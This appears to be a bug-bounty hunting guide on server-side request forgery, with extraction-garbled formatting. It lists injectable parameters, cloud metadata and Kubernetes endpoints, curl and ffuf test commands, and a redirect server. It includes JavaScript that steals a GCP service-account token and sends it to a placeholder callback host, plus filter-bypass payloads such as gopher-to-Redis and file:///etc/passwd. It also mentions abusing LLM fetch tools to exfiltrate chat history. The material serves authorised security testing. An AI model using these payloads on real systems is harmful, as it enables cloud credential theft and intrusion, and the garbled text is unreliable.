buggy HunterServer-side request forgery including cloud metadata endpoint exfiltration, internal network pivoting, and webhook abuse patterns.
SSRF is highest-value when the target runs on cloud infrastructure (AWS, GCP, Azure) where metadata services expose credentials, or when the server sits inside a complex internal network (Kubernetes clusters, microservice meshes, internal APIs). Priority targets:
169.254.169.254 or metadata.google.internal, AWS IMDSv1)Claims of blind SSRF require an out-of-band (OOB) confirmation. Always. No exceptions.
OOB means: a Burp Collaborator domain, an interactsh-client listener, a canarytoken, or any DNS+HTTP receiver you control that confirms the server actually made an outbound network connection on your behalf.
"The Web application at http://evil.example.com/x could not be found" — this is the server formatting your input into an error string, NOT making an outbound HTTP request. The error came from string formatting, not from network failure.localhost. Different error responses can come from URL-scheme validators, not from actual fetching.dlsrcurl.<collab>, import.<collab>, etc., so callbacks tell you which sink fired)./_layouts/15/download.aspx?SourceUrl= returned 500 with the title "The Web application at <attacker-URL> could not be found". Initial scan flagged this as SSRF (server clearly processed the URL). 38 Collaborator-tagged payloads across 12+ URL-accepting parameters yielded zero DNS or HTTP interactions. The "echo" was client-side error-string formatting; the server never made an outbound HTTP request. The path is actually an SP-internal SPFile/SPWebApplication resolver, not a generic URL fetcher. Reporting this as SSRF would have been N/A'd at triage.
/api/*/preview
/api/*/fetch
/api/*/import
/api/*/webhook
/api/*/proxy
/api/*/render
/api/*/link
/api/*/screenshot
/api/*/export
/api/*/validate
?url=
?uri=
?endpoint=
?redirect=
?src=
?source=
?feed=
?host=
?target=
?dest=
?file=
?path=
?callback=
?image=
?load=
?fetch=// Look for these in JS bundles
fetch(userInput)
axios.get(params.url)
XMLHttpRequest + variable URL
url: req.body.url
src: params.source
href: query.endpointX-Forwarded-For headers echoed back
Server: internal-service
Via: 1.1 internal-proxy
X-Cache headers revealing internal hostnamesrequests, node-fetch, axios)https://canarytokens.org — you need a unique per-test DNS/HTTP callback domain. url=https://YOUR.interactsh.com/testhttp://metadata.google.internal/computeMetadata/v1/
- AWS: http://169.254.169.254/latest/meta-data/
- Azure: http://169.254.169.254/metadata/instance
http://localhost/
http://127.0.0.1:8080/
http://127.0.0.1:6443/ (Kubernetes API)
http://127.0.0.1:2379/ (etcd)
http://127.0.0.1:9090/ (Prometheus)
http://127.0.0.1:9200/ (Elasticsearch)<script> tags that make XMLHttpRequest or fetch() calls to internal services
- Exfil via DNS: encode response data in subdomain of your callback domain
connection refused vs timeout)
- Check error messages for hostname/IP leakage
# Using interactsh-client
interactsh-client -v
# Test parameter curl -s "https://target.com/api/preview?url=https://YOUR_ID.oast.pro"
# With common headers that might unlock SSRF curl -s "https://target.com/api/fetch" \ -H "Content-Type: application/json" \ -d '{"url":"https://YOUR_ID.oast.pro"}'
# GCP - requires Metadata-Flavor header (test if server adds it automatically)
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://169.254.169.254/computeMetadata/v1/project/project-id
# AWS IMDSv1 (no auth required) http://169.254.169.254/latest/meta-data/iam/security-credentials/ http://169.254.169.254/latest/user-data
# Azure http://169.254.169.254/metadata/instance?api-version=2021-02-01
# Kubernetes internals
http://127.0.0.1:6443/api/v1/namespaces
http://10.0.0.1:6443/api/v1/secrets
http://127.0.0.1:10250/pods # kubelet
http://127.0.0.1:2379/v2/keys # etcd
# Common internal services http://127.0.0.1:6379/ # Redis (check for inline commands) http://127.0.0.1:9200/_cat/indices # Elasticsearch http://127.0.0.1:5601/ # Kibana http://127.0.0.1:8500/v1/catalog/services # Consul
# Simple Python redirect server
from http.server import HTTPServer, BaseHTTPRequestHandler
class Redirect(BaseHTTPRequestHandler): def do_GET(self): self.send_response(301) self.send_header('Location', 'http://169.254.169.254/latest/meta-data/') self.end_headers()
HTTPServer(('0.0.0.0', 8080), Redirect).serve_forever()
// Exfil via fetch
fetch('http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token', {
headers: {'Metadata-Flavor': 'Google'}
}).then(r=>r.text()).then(d=>{
fetch('https://YOUR.callback.com/?d='+btoa(d))
})
// DNS exfil for blind contexts var x = new XMLHttpRequest(); x.open('GET','http://169.254.169.254/latest/meta-data/'); x.send(); x.onload = function(){ var img = new Image(); img.src = 'https://'+btoa(x.responseText.substring(0,50))+'.YOUR.callback.com'; }
# Find URL fetch operations
grep -rE "(fetch|curl|urllib|requests\.get|http\.get|axios\.get)\s*\(" --include="*.py" --include="*.js" --include="*.go"
# Find URL parameters being passed to HTTP clients grep -rE "(url|uri|endpoint|redirect|src|source)\s*=\s*req\.(query|body|params)" --include="*.js"
# Find redirect following grep -rE "(follow_redirects|allow_redirects|followRedirects)\s*=\s*[Tt]rue"
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-u "https://target.com/api/endpoint?FUZZ=https://YOUR.callback.com" \
-fs 0 -mc allMetadata-Flavor header (GCP) allow unauthenticated credential access from any SSRF.localhost, 127.0.0.1, 169.254.x.x are blocked)# IPv6 equivalents
http://[::1]/
http://[::ffff:127.0.0.1]/
http://[::ffff:169.254.169.254]/
# Decimal/octal/hex encoding of IP http://2130706433/ (127.0.0.1 decimal) http://0x7f000001/ (127.0.0.1 hex) http://0177.0.0.1/ (octal) http://127.1/ (short form) http://0/ (resolves to 0.0.0.0)
# DNS rebinding - register a domain that resolves to internal IP after first check # Use https://lock.cmpxchg8b.com/rebinder.html
# Subdomain pointing to internal IP http://localtest.me/ (resolves to 127.0.0.1) http://127.0.0.1.nip.io/ http://customer.attacker.com/ (A record → 192.168.1.1)
# URL parser confusion http://evil.com@127.0.0.1/ http://127.0.0.1#evil.com http://127.0.0.1%25@evil.com (URL encoding) http://evil.com\.127.0.0.1/ (backslash)
# Protocol confusion file:///etc/passwd dict://127.0.0.1:6379/ gopher://127.0.0.1:6379/_FLUSHALL (Redis via gopher) sftp://attacker.com:11111/ ldap://127.0.0.1/
# Redirect chain bypass https://allowlisted-domain.com → HTTP 301 → http://169.254.169.254/
# Case variation / URL encoding http://Localhost/ http://127.0.0.1%2F@evil.com/
# When only http/https allowed but implementation is loose
http://169.254.169.254:80@evil.com/
//169.254.169.254/Before writing the report, confirm all three:
url parameter and fetched the target server-side to generate thumbnail content. The feature ran on GCP Compute Engine with IMDSv1 enabled and no Metadata-Flavor header enforcement on the server side. By supplying url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token, the attacker received a valid OAuth2 access token for the instance's service account. The token granted access to internal GCP project resources including storage buckets containing user data. The attacker used JavaScript execution within a headless rendering context to exfiltrate the token via DNS-encoded subdomains, bypassing response body restrictions.
302 Location: http://127.0.0.1:6443/api/v1/secrets responses to the aggregation layer. Because the aggregation proxy followed redirects automatically without re-validating the destination against the internal network blocklist, the redirect caused the aggregation layer itself (running with elevated cluster credentials) to fetch internal Kubernetes API secrets and return them in the response. This effectively allowed an attacker with limited API registration privileges to escalate to full cluster secret read access — a critical privilege escalation via SSRF chained through trusted infrastructure components.
The following real, verified bug-bounty / coordinated-disclosure cases extend this skill. Cloud-metadata SSRFs across all three providers, DNS rebinding, gopher-to-Redis-RCE, link-preview SSRF, and headless-browser/PDF-generator chains are all represented.
<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"> into a template element rendered server-side; backend Ruby loop rendered the untrusted template HTML into PDF, reflecting IMDS response inside the rendered PDF / error message
- Root cause: unsanitised user-controlled template fragment reflected in PDF rendering pipeline; no IMDSv2 enforcement
- Year: 2023 — $25,000 (CVSS 10.0 Critical)
password.liquid template to embed a request to http://metadata.google.internal/computeMetadata/v1/ with Metadata-Flavor: Google, then triggered the Exchange screenshotting service to render the template server-side
- Root cause: screenshotter fetched user-controlled template with no metadata-host blocklist and no metadata-concealment proxy
- Year: 2018 — $25,000 (canonical headless-browser → metadata)
A records between 1.2.3.4 (public) and 169.254.169.254; needed 2-3 requests to win the race between validation and fetch; final request retrieved IAM role credentials
- Root cause: validated hostname by resolving once; download path re-resolved DNS without pinning the validated IP
- Year: 2021 — fixed in 8.5.7 / 9.0.1
gopher://internal-redis:6379/_*1%0d%0a$8%0d%0aflushall...SET stuff /var/spool/cron/root...BGSAVE — wrote a cron via Redis to get command execution
- Root cause: gopher scheme not blocklisted; internal Redis unauthenticated on default port; SSRF target accepted 302 redirect from attacker host to gopher://
- Year: 2020 — $15,000
preview_url API ([H1 #1960765](https://hackerone.com/reports/1960765))GET https://matrix.redditspace.com/_matrix/media/r0/preview_url/?url=http://10.0.0.0:80/ — varied internal IPs/ports; service names and IPs leaked through response differences before the fix
- Root cause: link-preview fetcher did not reject RFC1918 / link-local destinations; allowlist-by-scheme only
- Year: 2023 — $6,000
endpointproxy URL parameter to attacker rebinding host; second resolution returned 169.254.169.254; chained CRLF injection to set required Metadata: true header for Azure IMDS
- Root cause: validation-then-fetch with separate DNS lookups; CRLF in URL path injected headers needed by Azure IMDS
- Year: 2023-2024 — $15,000 total across 3 reports
cloud-iam-deep — SSRF is the canonical entry to cloud metadata service. Chain primitive: SSRF → IMDSv1 token theft → cloud-iam-deep privilege escalation reaches iam:CreateUser / sts:AssumeRole on cross-account roles.hunt-llm-ai — LLMs with fetch_url tools become SSRF proxies bypassing network egress controls. Chain primitive: LLM tool-use (fetch_url) + SSRF → attacker URL exfils chat history and IMDS token from the LLM container.hunt-rce — Internal Redis/Memcached are unauthenticated by default and reachable via gopher://. Chain primitive: SSRF + Gopher → internal Redis CONFIG SET dir + RCE via cron / SSH authorized_keys write.hunt-cloud-misconfig — Internal-only buckets/APIs become reachable through SSRF egress. Chain primitive: SSRF + DNS rebinding → SSRF-protected-endpoint bypass → internal /admin or private S3 bucket read.security-arsenal — Load the SSRF IP Bypass Table (11 techniques: decimal IP, IPv6 mapped, octal, suffix dot, DNS rebinding, redirect chain, etc.) before testing filters.triage-validation — Apply the OOB-Or-It-Didn't-Happen gate: every blind SSRF claim requires a Burp Collaborator hit with a unique marker before report submission.Questions about SSRF Hunter?